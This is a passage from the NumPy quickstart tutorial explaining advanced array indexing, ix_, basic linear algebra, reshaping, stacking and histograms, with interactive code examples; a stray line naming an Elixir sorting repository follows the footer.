the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
DanCouper / Natural SortElixir natural sort implementation for lists of strings.
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